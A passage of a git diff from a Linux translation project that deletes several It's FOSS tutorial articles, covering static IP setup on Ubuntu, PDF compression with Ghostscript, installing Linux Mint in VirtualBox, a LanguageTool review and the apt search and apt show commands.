-[b]: https://github.com/lujun9972 -[1]: https://itsfoss.com/cloud-services-linux/ -[2]: https://en.wikipedia.org/wiki/End-to-end_encryption -[3]: https://www.theverge.com/2017/11/2/16600732/donald-trump-twitter-account-gone-realdonaldtrump -[4]: https://partner.pcloud.com/r/22317 -[5]: https://cryptomator.org/ -[6]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2020/04/cryptomator-ft.jpg?ssl=1 -[7]: https://en.wikipedia.org/wiki/Advanced_Encryption_Standard -[8]: https://en.wikipedia.org/wiki/WebDAV -[9]: https://en.wikipedia.org/wiki/Filesystem_in_Userspace -[10]: https://en.wikipedia.org/wiki/Dokan_Library -[11]: https://play.google.com/store/apps/details?id=org.cryptomator&hl=en_US -[12]: https://apps.apple.com/us/app/cryptomator/id953086535 -[13]: https://cryptomator.org/downloads/ -[14]: https://itsfoss.com/use-appimage-linux/ -[15]: https://docs.cryptomator.org -[16]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2020/04/cryptomator-add-vault.jpg?ssl=1 -[17]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2020/04/cryptomator-create-open-vault.jpg?ssl=1 -[18]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2020/04/cryptomator-add-vault-name.jpg?ssl=1 -[19]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2020/04/cryptomator-vault-location.jpg?ssl=1 -[20]: https://itsfoss.com/recommends/pcloud/ -[21]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2020/04/cryptomator-pass.jpg?ssl=1 -[22]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2020/04/cryptomator-recovery.jpg?ssl=1 -[23]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2020/04/cryptomator-vault-success.jpg?ssl=1 -[24]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2020/04/cryptomator-unlock.jpg?ssl=1 -[25]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2020/04/cryptomator-master.jpg?ssl=1 diff --git a/sources/tech/20200525 How to Assign Static IP Address on Ubuntu Linux.md b/sources/tech/20200525 How to Assign Static IP Address on Ubuntu Linux.md deleted file mode 100644 index 87ddb6b839..0000000000 --- a/sources/tech/20200525 How to Assign Static IP Address on Ubuntu Linux.md +++ /dev/null @@ -1,179 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (How to Assign Static IP Address on Ubuntu Linux) -[#]: via: (https://itsfoss.com/static-ip-ubuntu/) -[#]: author: (Dimitrios Savvopoulos https://itsfoss.com/author/dimitrios/) - -How to Assign Static IP Address on Ubuntu Linux -====== - -_**Brief: In this tutorial, you’ll learn how to assign static IP address on Ubuntu and other Linux distributions. Both command line and GUI methods have been discussed.**_ - -IP addresses on Linux Systems in most cases are assigned by [Dynamic Host Configuration Protocol][1] (DHCP) servers. IP addresses assigned this way are dynamic which means that the IP address might change when you [restart your Ubuntu system][2]. It’s not necessary but it may happen. - -_**Dynamic IP is not an issue for normal desktop Linux users in most cases**_. It could become an issue if you have employed some special kind of networking between your computers. - -For example, you can [share your keyboard and mouse between Ubuntu and Raspberry Pi][3]. The configuration uses IP addresses of both system. If the IP address changes dynamically, then your setup won’t work. - -Another use case is with servers or remotely administered desktops. It is easier to set static addresses on those systems for connection stability and consistency between the users and applications. - -In this tutorial, I’ll show you how to set up static IP address on Ubuntu based Linux distributions. Let me show you the command line way first and then I’ll show the graphical way of doing it on desktop. - -### Method 1: Assign static IP in Ubuntu using command line - -![][4] - -**Note for desktop users**: Use static IP only when you need it. Automatic IP saves you a lot of headache in handling network configuration. - -#### Step 1: Get the name of network interface and the default gateway - -The first thing you need to know is the name of the network interface for which you have to set up the static IP. - -You can either use ip command or the network manager CLI like this: - -``` -nmcli d -``` - -In my case, it shows my Ethernet (wired) network is called enp0s25: - -``` -Ubuntu> nmcli d -DEVICE TYPE STATE CONNECTION -enp0s25 ethernet unmanaged -- -lo loopback unmanaged -- -``` - -Next, you should note the [default gateway IP using the Linux command][5] **ip route**: - -``` -ip route -default via 192.168.31.1 dev enp0s25 proto dhcp metric 600 -169.254.0.0/16 dev enp0s25 scope link metric 1000 -192.168.31.0/24 dev enp0s25 proto kernel scope link src 192.168.31.36 metric 600 -``` - -As you can guess, the default gateway is 192.168.31.1 for me. - -#### Step 2: Locate Netplan configuration - -Ubuntu 18.04 LTS and later versions use [Netplan][6] for managing the network configuration. Netplan configuration are driven by .yaml files located in **/etc/netplan** directory. - -By default, you should see a .yaml file named something like 01-network-manager-all.yaml, 50-cloud-init.yaml, 01-netcfg.yaml. - -Whatever maybe the name, its content should look like this: - -``` -# Let NetworkManager manage all devices on this system -network: - version: 2 - renderer: NetworkManager -``` - -You need to edit this file for using static IP. - -#### Step 3: Edit Netplan configuration for assigning static IP - -_**Just for the sake of it, make a backup of your yaml file.**_ - -Please make sure to use the correct yaml file name in the commands from here onward. - -Use nano editor with sudo to open the yaml file like this: - -``` -sudo nano /etc/netplan/01-netcfg.yaml -``` - -Please note that _**yaml files use spaces for indentation**_. If you use tab or incorrect indention, your changes won’t be saved. - -You should edit the file and make it look like this by providing the actual details of your IP address, gateway, interface name etc. - -``` -network: - version: 2 - renderer: networkd - ethernets: - enp0s25: - dhcp4: no - addresses: - - 192.168.31.16/24 - gateway4: 192.168.31.1 - nameservers: - addresses: [8.8.8.8, 1.1.1.1] -``` - -In the above file, I have set the static IP to 192.168.31.16. - -Save the file and apply the changes with this command: - -``` -sudo netplan apply -``` - -You can verify it by [displaying your ip address in the terminal][7] with ‘ip a’ command. - -Revert the changes and go back to dynamic IP - -If you don’t want to use the static IP address anymore, you can revert easily. - -If you have backed up the original yaml file, you can delete the new one and use the backup one. - -Otherwise, you can change the yaml file again and make it look like this: - -``` -network: - version: 2 - renderer: networkd - ethernets: - enp0s25: - dhcp4: yes -``` - -### Method 2: Switch to static IP address in Ubuntu graphically - -If you are on desktop, using the graphical method is easier and faster. - -Go to the settings and look for network settings. Click the gear symbol adjacent to your network connection. - -![][8] - -Next, you should go to the IPv4 tab. Under the IPv4 Method section, click on Manual. - -In the Addresses section, enter the IP static IP address you want, netmask is usually 24 and you already know your gateway IP with the ip route command. - -You may also change the DNS server if you want. You can keep Routes section to Automatic. - -![][9] - -Once everything is done, click on Apply button. See, how easy it is to set a static IP address graphically. - -If you haven’t read my previous article on [how to change MAC Address][10], you may want to read in conjunction with this one. - -More networking related articles will be rolling out, let me know your thoughts at the comments below and stay connected to our social media. - --------------------------------------------------------------------------------- - -via: https://itsfoss.com/static-ip-ubuntu/ - -作者:[Dimitrios Savvopoulos][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://itsfoss.com/author/dimitrios/ -[b]: https://github.com/lujun9972 -[1]: https://en.wikipedia.org/wiki/Dynamic_Host_Configuration_Protocol -[2]: https://itsfoss.com/schedule-shutdown-ubuntu/ -[3]: https://itsfoss.com/keyboard-mouse-sharing-between-computers/ -[4]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2020/05/static-ip-ubuntu.jpg?ssl=1 -[5]: https://linuxhandbook.com/find-gateway-linux/ -[6]: https://netplan.io/ -[7]: https://itsfoss.com/check-ip-address-ubuntu/ -[8]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2020/05/assign-static-ip-1.jpg?ssl=1 -[9]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2020/05/assign-static-ip-2.jpg?ssl=1 -[10]: https://itsfoss.com/change-mac-address-linux/ diff --git a/sources/tech/20200525 How to Compress PDF in Linux -GUI - Terminal.md b/sources/tech/20200525 How to Compress PDF in Linux -GUI - Terminal.md deleted file mode 100644 index eba596bcb9..0000000000 --- a/sources/tech/20200525 How to Compress PDF in Linux -GUI - Terminal.md +++ /dev/null @@ -1,99 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (How to Compress PDF in Linux [GUI & Terminal]) -[#]: via: (https://itsfoss.com/compress-pdf-linux/) -[#]: author: (Abhishek Prakash https://itsfoss.com/author/abhishek/) - -How to Compress PDF in Linux [GUI & Terminal] -====== - -_**Brief: Learn how to reduce the size of a PDF file in Linux. Both command line and GUI methods have been discussed.**_ - -I was filling some application form and it asked to upload the necessary documents in PDF format. Not a big issue. I gathered all the [scanned images and combined them in one PDF using gscan2pdf tool][1]. - -The problem came when I tried to upload this PDF file. The upload failed because it exceeded the maximum file size limit. This only meant that I needed to somehow reduce the size of the PDF file. - -Now, you may use an online PDF compressing website but I don’t trust them. A file with important documents uploading to an unknown server is not a good idea. You could never be sure that they don’t keep a copy your uploaded PDF document. - -This is the reason why I prefer compressing PDF files on my system rather than uploading it to some random server. - -In this quick tutorial, I’ll show you how to reduce the size of PDF files in Linux. I’ll show both command line and GUI methods. - -### Method 1: Reduce PDF file size in Linux command line - -![][2] - -You can use [Ghostscript][3] command line tool for compressing a PDF file. Most Linux distributions include the open source version of Ghostscript already. However, you can still try to install it just to make sure. - -On Debian/Ubuntu based distributions, use the following command to install Ghostscript: - -``` -sudo apt install ghostscript -``` - -Now that you have made sure that Ghostscript is installed, you can use the following command to reduce the size of your PDF file: - -``` -gs -sDEVICE=pdfwrite -dCompatibilityLevel=1.4 -dPDFSETTINGS=/prepress -dNOPAUSE -dQUIET -dBATCH -sOutputFile=compressed_PDF_file.pdf input_PDF_file.pdf -``` - -In the above command, you should add the correct path of the input and out PDF file. - -The command looks scary and confusing. I advise copying and pasting most of it. What you need to know is the dPDFSETTINGS parameter. This is what determines the compression level and thus the quality of your compressed PDF file. - -dPDFSETTINGS | Description ----|--- -/prepress (default) | Higher quality output (300 dpi) but bigger size -/ebook | Medium quality output (150 dpi) with moderate output file size -/screen | Lower quality output (72 dpi) but smallest possible output file size - -Do keep in mind that some PDF files may not be compressed a lot or at all. Applying compression on some PDF files may even produce a file bigger than the original. There is not much you can do in such cases. - -### Method 2: Compress PDF files in Linux using GUI tool - -I understand that not everyone is comfortable with command line tool. The [PDF editors in Linux][4] doesn’t help much with compression. This is why we at It’s FOSS worked on creating a GUI version of the Ghostscript command that you saw above. - -[Panos][5] from It’s FOSS team [worked on creating a Python-Qt based GUI wrapper for the Ghostscript][6]. The tool gives you a simple UI where you can select your input file, select a compression level and click on the compress button to compress the PDF file. - -![][7] - -The compressed PDF file is saved in the same folder as the original PDF file. Your original PDF file remains untouched. The compressed file is renamed by appending -compressed to the original file name. - -If you are not satisfied with the compression, you can choose another compression level and compress the file again. - -You may find the source code of the PDF Compressor on our GitHub repository. To let you easily use the tool, we have packaged it in AppImage format. Please [refer to this guide to know how to use AppImage][8]. - -[Download PDF Compressor (AppImage)][9] - -Please keep in mind that the tool is in early stages of developments. You may experience some issues. If you do, please let us know in the comments or even better, [file a bug here][10]. - -We’ll try to add more packages (Snap, Deb, PPAs etc) in the future releases. If you have experience with the development and packaging, please feel free to give us a hand. - -Would you like It’s FOSS team to work on creating more such small desktop tools in future? Your feedback and suggestions are welcome. - --------------------------------------------------------------------------------- - -via: https://itsfoss.com/compress-pdf-linux/ - -作者:[Abhishek Prakash][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://itsfoss.com/author/abhishek/ -[b]: https://github.com/lujun9972 -[1]: https://itsfoss.com/convert-multiple-images-pdf-ubuntu-1304/ -[2]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2020/05/compress-pdf-linux.jpg?ssl=1 -[3]: https://www.ghostscript.com/ -[4]: https://itsfoss.com/pdf-editors-linux/ -[5]: https://github.com/libreazer -[6]: https://github.com/itsfoss/compress-pdf -[7]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2020/05/compress-PDF.jpg?fit=800%2C448&ssl=1 -[8]: https://itsfoss.com/use-appimage-linux/ -[9]: https://github.com/itsfoss/compress-pdf/releases/download/0.1/compress-pdf-v0.1-x86_64.AppImage -[10]: https://github.com/itsfoss/compress-pdf/issues diff --git a/sources/tech/20200525 How to Install Linux Mint in VirtualBox -Screenshot Tutorial.md b/sources/tech/20200525 How to Install Linux Mint in VirtualBox -Screenshot Tutorial.md deleted file mode 100644 index 1fc324e817..0000000000 --- a/sources/tech/20200525 How to Install Linux Mint in VirtualBox -Screenshot Tutorial.md +++ /dev/null @@ -1,194 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (How to Install Linux Mint in VirtualBox [Screenshot Tutorial]) -[#]: via: (https://itsfoss.com/install-linux-mint-in-virtualbox/) -[#]: author: (Dimitrios Savvopoulos https://itsfoss.com/author/dimitrios/) - -How to Install Linux Mint in VirtualBox [Screenshot Tutorial] -====== - -_**Brief: One of safest and easiest ways to try Linux Mint is inside a virtual machine. Your real system doesn’t change at all. Learn how to install Linux Mint in VirtualBox in this tutorial.**_ - -[Linux Mint][1] is considered one of the [best distributions for new Linux users][2]. Its flagship Cinnamon DE is one of the most popular desktop environment giving your system a look and feel of classic Window-styled desktop. - -If you want to try Linux Mint and see if it fits your need, you could try installing it in a virtual machine. This way, you run Linux Mint inside your current system without changing your system’s partition or boot order. One of the safest way out there as you get to run Linux like a regular desktop application inside your current operating system. - -![][3] - -Oracle’s open source virtualization tool [VirtualBox][4] is available for free on all major desktop operating systems i.e. Windows, Linux and macOS. - -In this beginner’s tutorial, I’ll show you the steps for installing Linux Mint in VirtualBox. I am including the screenshots for each step so that you can easily follow the tutorial. - -### Installing Linux Mint in VirtualBox - -You can follow the steps on any operating system be it Windows, Linux or macOS. You just need to install VirtualBox on your operating system and rest of the steps remain the same. - -**Step 1:** [Download VirtualBox from its website][4] and install it by double-clicking on the downloaded file. - -![][5] - -Next, install the latest version of Linux Mint’s ISO file from its website. - -[Download Linux Mint ISO][6] - -**Step 2:** Once your virtual Box is up & running we are ready to get started. Click the New button, click Next on the virtual machine wizard. - -![Create a new Virtual Machine][7] - -Initially you need to specify the following: - - * Name: Any preferred name for your VM like Linux Mint - * Type: Linux - * Version: Ubuntu (64 bit) as Linux Mint is an Ubuntu-based distribution - - - -Before configuring any hardware resource value, please make sure that are aware of the [system requirements][8]. - -2 GB RAM would be okay but won’t give you a good experience. 3 GB is a comfortable amount if your system has 8 GB of RAM. I choose to set my Virtual Machine to 4096 MB (4 GB) because my system has plenty of RAM. - -RAM consumption - -One of the common confusion is regarding the RAM consumption. Let’s say your Windows system has 8 GB of RAM and you assign 3 GB of RAM to Linux Mint in VirtualBox. - -If you are running Linux Mint inside VirtualBox, your real system (called host system) will have 5 GB of RAM available for consumption. - -If you are not running Linux Mint inside VirtualBox, at that moment, the entire 8 GB will be available to the host system. - -**Step 3:** Next, choose a Virtual Hard disk now option and click create. - -Choose the virtual storage allocation method (Recommended Dynamically allocated). Set your storage location for virtual hard disk by browsing drive and then specify the size of virtual hard disk (it could be anything from 12-20 GB). - -![Dynamic allocation can save you space if you don’t need the maximum allowance][9] - -**Step (4 (optional advanced settings):** Once Virtual machine has been created, click on the settings button in menu: - -![][10] - -Now, go to the Display section. Specify the Video memory (128 MB) and check “Enable 3D Acceleration”. - -![Don’t forget to enable the 3D Acceleration][11] - -Then click on System Tab → Processor and choose how many threads would you like to allocate. - -My system is a 4 core/4 thread system and I choose to assign half of the CPU capability i.e. 2 threads. - -![Select CPU cores as per the distribution requirements][12] - -Once you have configured everything click ok. - -**Step 5:** In the System settings, go to Storage (from the left sidebar). Click on the [Optical Drive] Empty as shown in the image below. - -You’ll be asked to browse to the Linux Mint ISO file you had downloaded earlier. - -![][13] - -Once you select your ISO, click on the start button and that’s it! Now the ISO will start running as if you are booting from a live USB. - -Next, you need to press enter whilst your option is start Linux Mint as per the picture below. - -![][14] - -**Step 6:** Let’s start the installation procedure. - -Choose the language you want for your Linux Mint virtual machine. - -![Choose your native language][15] - -I’m based in the UK, so I have a UK keyboard layout. You can choose the one you want. - -![Choose your keyboard layout according to your hardware configuration][16] - -You may check the box to download and install any third-party software during the installation. - -![You may install media codecs while installing Linux Mint][17] - -You can proceed to erase the disk and install Linux Mint. - -Erase disk? Really? - -This step may seem scary because you may think that it will harm your real system. - -Let me assure you that it won’t do any damage to your actual disk. Remember you created 10-20 GB of virtual disk in step 3? Now you are inside that disk. - -When it asks for erasing the disk, it is erasing the virtual disk created for it. It doesn’t impact your real system disk and its data. - -![It is safe to erase your disk only at a Virtual Machine level][18] - -Next, select your time zone and click continue. You may [change time zone in Linux][19] later as well. - -![][20] - -You will be prompted to create your user account, your host name (computer’s name) and to choose a password. Once done, click continue to finalize the installation. - -![][21] - -Please wait a few minutes for the process to complete. - -![Wait a few minutes for the process to finish][22] - -The installation has now finished. Click on “Restart now”. - -![Well done! You have successfully installed Linux Mint][23] - -When you reach this step, Linux Mint will be installed and ready to use! - -![][24] - -You don’t have an installation medium so just power off the virtual machine. - -![][25] - -Now to use your virtual machine, click on the start button. - -![][26] - -You can explore a fully functional system, and at this time if you shut down Linux Mint like it was physically installed, it will automatically power off the virtual machine. - -![][27] - -Enjoy Linux Mint in VirtualBox. I hope you were able to install Linux Mint in VirtualBox. If you face any issues, please let me know in the comment section. I’ll try to help you out. - --------------------------------------------------------------------------------- - -via: https://itsfoss.com/install-linux-mint-in-virtualbox/ - -作者:[Dimitrios Savvopoulos][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://itsfoss.com/author/dimitrios/ -[b]: https://github.com/lujun9972 -[1]: https://www.linuxmint.com/ -[2]: https://itsfoss.com/best-linux-beginners/ -[3]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2020/05/install-linux-mint-in-virtualbox.png?ssl=1 -[4]: https://www.virtualbox.org/ -[5]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2020/05/download-virtulabox.jpg?ssl=1 -[6]: https://www.linuxmint.com/download.php -[7]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2020/04/1.-Create-new.jpg?ssl=1 -[8]: https://blog.linuxmint.com/?p=3832 -[9]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2020/04/2.-Create-virtual-hard-disk.jpg?resize=800%2C472&ssl=1 -[10]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2020/04/3.-settings.jpg?resize=800%2C470&ssl=1 -[11]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2020/04/4.-display.jpg?resize=800%2C472&ssl=1 -[12]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2020/04/5.-cpu.jpg?resize=800%2C468&ssl=1 -[13]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2020/04/6.-choose-iso.jpg?resize=800%2C472&ssl=1 -[14]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2020/04/7.-boot.jpg?resize=800%2C459&ssl=1 -[15]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2020/04/8.-choose-language.png?resize=800%2C679&ssl=1 -[16]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2020/04/9.-English-UK.png?resize=800%2C679&ssl=1 -[17]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2020/04/10.-install-third-party-software.png?resize=800%2C679&ssl=1 -[18]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2020/04/11.-installation-type.png?resize=800%2C679&ssl=1 -[19]: https://itsfoss.com/change-timezone-ubuntu/ -[20]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2020/04/12.-timezone.png?resize=800%2C679&ssl=1 -[21]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2020/04/13.-user-account.png?resize=800%2C679&ssl=1 -[22]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2020/04/14.-installation-screen.png?resize=800%2C679&ssl=1 -[23]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2020/04/15.-installation-finish.png?resize=800%2C679&ssl=1 -[24]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2020/04/16.-remove-the-media.png?resize=800%2C679&ssl=1 -[25]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2020/04/17.-power-off.png?resize=800%2C678&ssl=1 -[26]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2020/04/18.-init-the-fresh-installed-mint.png?resize=800%2C476&ssl=1 -[27]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2020/04/19.-Linux-mint-19.3-final.png?resize=800%2C469&ssl=1 diff --git a/sources/tech/20200525 LanguageTool Review- Free and Open Source Grammar Checker.md b/sources/tech/20200525 LanguageTool Review- Free and Open Source Grammar Checker.md deleted file mode 100644 index afd1a08e49..0000000000 --- a/sources/tech/20200525 LanguageTool Review- Free and Open Source Grammar Checker.md +++ /dev/null @@ -1,155 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (LanguageTool Review: Free and Open Source Grammar Checker) -[#]: via: (https://itsfoss.com/languagetool-review/) -[#]: author: (Abhishek Prakash https://itsfoss.com/author/abhishek/) - -LanguageTool Review: Free and Open Source Grammar Checker -====== - -This week’s open source software highlight is [LanguageTool][1]. It is a proofreading software that checks the grammar, style and spelling in more than 20 languages. - -I have been using it for past several days and I feel confident enough to review it and share my experience with it. I have used the popular proofreading tool [Grammarly][2] in the past and I’ll make some comparison between these two tools. - -### LanguageTool: Open source proofreading software - -![][3] - -[LanguageTool][1] grammar checker is available in [multiple formats][4]: - - * You can copy-paste your text on its website. - * You can install browser extension that will check for errors as you type anything, anywhere in the web browser. - * You can install a Java-based desktop application for offline usage. - * You can install add-on for LibreOffice and MS Office. - * Add-ons are also [available for a number of other software][5] like Sublime Text, Thunderbird, Vim, Visual Studio Code etc. - * [Android app][6] is also available. - * API is also available if you want to use LanguageTool in your software or service. API offering comes under premium services. - - - -You can find source code of LanguageTool and its related assets on [their GitHub repository][7]. - -[LanguageTool also has a premium version][8] that you can purchase. The premium version offers additional error checks. - -I am using LanguageTool premium version as a browser extension. Almost all the writing I do is online and thus the browser extension is perfect for me. - -The most convenient way to try LanguageTool is by using its browser extension. Install the browser add-on and next time you type anything in the browser, LanguageTool will start checking your text for grammatical and spelling errors. It will also check for styling errors. - -### Experience with LanguageTool: How good is it? - -LanguageTool leaves a good first impression. It starts checking for errors as you start typing. - -Different types of errors have different color codes. Spelling mistakes are highlighted in red color, grammatical mistakes are in yellow colors and styling errors have a blueish shade. - -Clicking on the error suggestion replaces your text with the suggested one. You may also ignore the suggestion. You’ll also see number of issues identified by LanguageTool in the current text check. - -![Spelling mistake identified by LanguageTool][9] - -#### Personal dictionary - -You can also create your personal directory and add words in it. This is helpful because no proofreading tool can give a green light to technical terms like systemd, iptables and brand names like [WireGuard][10]. To avoid these words labeled as spelling mistakes, add them to your personal dictionary. - -You may edit your personal dictionary from your LanguageTool account. - -![LanguageTool Personal Dictionary][11] - -#### Details on the error suggestion - -If it finds grammatical errors, it also gives a quick explanation of the error. You can get more details by clicking the tool tip which takes you to a reputable external source. - -![You can get additional details on the errors][12] - -#### Synonym suggestion (in beta) - -If you double-click on a word, it will also suggest synonyms. - -![][13] - -#### Are there any privacy issues? - -If you use the online services of LanguageTool, your text is sent to their servers over an **encrypted** connection. All their servers are hosted at Hetzner Online GmbH in Germany. - -LanguageTool states that it doesn’t store any text that you check using its services. You can read their privacy policy [here][14]. - -The free to use languagetool.org website shows ads (there are no third-party ads in the browser add-on). To test their claim of “sending text over an encrypted server”, I typed sample text containing words like vacuum cleaner, laptop etc. - -Thankfully, the displayed ad on their website was nothing related to the text I typed. I haven’t noticed any vacuum cleaner ads on the websites I visit or on Facebook. That’s a good thing. - -#### It doesn’t work flawlessly all the time - -No software is perfect and LanguageTool is not an exception. While it is helpful in finding obvious spelling and grammatical mistakes, it struggles in some simple scenario. - -For example, if a sentence contains several blank spaces together, LanguageTool failed to find an issue with that. - -![Too many whitespaces and yet it went undetected][15] - -This is weird because if I look at their ‘error rules’, I can see a [whitespace repetition rule][16]. I think this rule is applicable only for the Java-based LanguageTool apps, not the browser add-on I am using. - -I also found some other cases where LanguageTool should have identified errors but it didn’t. For example, it didn’t alert for the missing ‘to’ in the text below: - -![LanguageTool fails to find the missing “to”][17] - -When I checked it against the [Grammarly free version][2], it was able to point it out. - -![Grammarly was quick to identify it][18] - -I also found an infinite loop of suggestion. It first suggests using syntaxes as plural of syntax. - -![Suggestion for using ‘syntaxes’][19] - -And then it doesn’t accept ‘syntaxes’ as a valid word. - -![And then it doesn’t accept ‘syntaxes’][20] - -I have seen such “infinite error loop” with Grammarly as well in the past, so I won’t be too hard on LanguageTool for such issues. - -### Conclusion - -Despite some hiccups, I am satisfied with LanguageTool proofreading tool. Both free and premium version are good enough for finding obvious spelling mistakes and grammatical errors. - -The premium version offers over 2500 additional error checks and it costs around $15-$70 per year depending on your geographical region. This is a lot cheaper than [Grammarly][2] which costs $140 per year. - -I opted for the premium version because it will help this open-source project. Premium users also get email support. - -You are not forced to go premium, of course. You can use the free version and if you have some questions or need support, there is a [community forum][21] that you can join for free. - -LanguageTool can certainly be considered one of the [essential open-source tools for writers][22]. I am going to continue using LanguageTool. If you find grammatical or spelling mistakes in It’s FOSS articles in the future, blame LanguageTool, not me. Just kidding :) - --------------------------------------------------------------------------------- - -via: https://itsfoss.com/languagetool-review/ - -作者:[Abhishek Prakash][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://itsfoss.com/author/abhishek/ -[b]: https://github.com/lujun9972 -[1]: https://languagetool.org/ -[2]: https://itsfoss.com/recommends/grammarly/ -[3]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2020/05/languagetool.png?fit=800%2C593&ssl=1 -[4]: https://languagetool.org/compare -[5]: http://wiki.languagetool.org/software-that-supports-languagetool-as-a-plug-in-or-add-on -[6]: https://play.google.com/store/apps/details?id=org.softcatala.corrector -[7]: https://github.com/languagetool-org/ -[8]: https://languagetoolplus.com/ -[9]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2020/05/langaugetool-error-detection.png?ssl=1 -[10]: https://itsfoss.com/wireguard/ -[11]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2020/05/languagetool-personal-dictionary.png?ssl=1 -[12]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2020/05/languagetool-error-explanation.png?ssl=1 -[13]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2020/05/languagetool-synonym-suggestion.png?ssl=1 -[14]: https://languagetoolplus.com/legal/privacy -[15]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2020/05/languagetool-whitespaces.png?ssl=1 -[16]: https://community.languagetool.org/rule/show/WHITESPACE_RULE?lang=en -[17]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2020/05/languagetool-suggestion-3.jpg?fit=800%2C219&ssl=1 -[18]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2020/05/languagetool-suggestion-grammarly.jpg?fit=800%2C272&ssl=1 -[19]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2020/05/languagetool-suggestion.png?ssl=1 -[20]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2020/05/languagetool-suggestion-1.png?ssl=1 -[21]: https://forum.languagetool.org/ -[22]: https://itsfoss.com/open-source-tools-writers/ diff --git a/sources/tech/20200525 Using ‘apt search- and ‘apt show- Commands to Search and Find Details of Packages in Ubuntu.md b/sources/tech/20200525 Using ‘apt search- and ‘apt show- Commands to Search and Find Details of Packages in Ubuntu.md deleted file mode 100644 index d1d80bcb5d..0000000000 --- a/sources/tech/20200525 Using ‘apt search- and ‘apt show- Commands to Search and Find Details of Packages in Ubuntu.md +++ /dev/null @@ -1,172 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Using ‘apt search’ and ‘apt show’ Commands to Search and Find Details of Packages in Ubuntu) -[#]: via: (https://itsfoss.com/apt-search-command/) -[#]: author: (Abhishek Prakash https://itsfoss.com/author/abhishek/) - -Using ‘apt search’ and ‘apt show’ Commands to Search and Find Details of Packages in Ubuntu -====== - -_**This is a detailed beginners guide to apt search command. Using apt search and apt show commands, you can get details of the available versions, dependencies, repositories and other important information about packages in Ubuntu.**_ - -Have you ever wondered if a certain package is available to install via [apt package manager][1]? - -Have you wondered if the package offered by [Ubuntu repositories][2] are the latest one or not? - -The apt package manager in [Ubuntu][3] and many other distribution provides two handy [apt command options][4] for this purpose. - -The apt search command looks for the provided string in the name and description of the packages. - -``` -apt search package_name -``` - -The apt show command provides detailed information on a package: - -``` -apt show package_name -``` - -The commands don’t require you to [be root in Ubuntu][5]. Here’s an example of these commands: - -![][6] - -### Why would you want to use apt search or apt show command? - -Let’s say you want to [install Gambas programming language in Ubuntu][7]. You are happy with your knowledge of the apt command so you decided to use the command line for installing application. - -You open a terminal and use the apt command to install gambas but it results in [unable to locate package error][8]. - -``` -sudo apt install gambas -Reading package lists... Done -Building dependency tree -Reading state information... Done -E: Unable to locate package 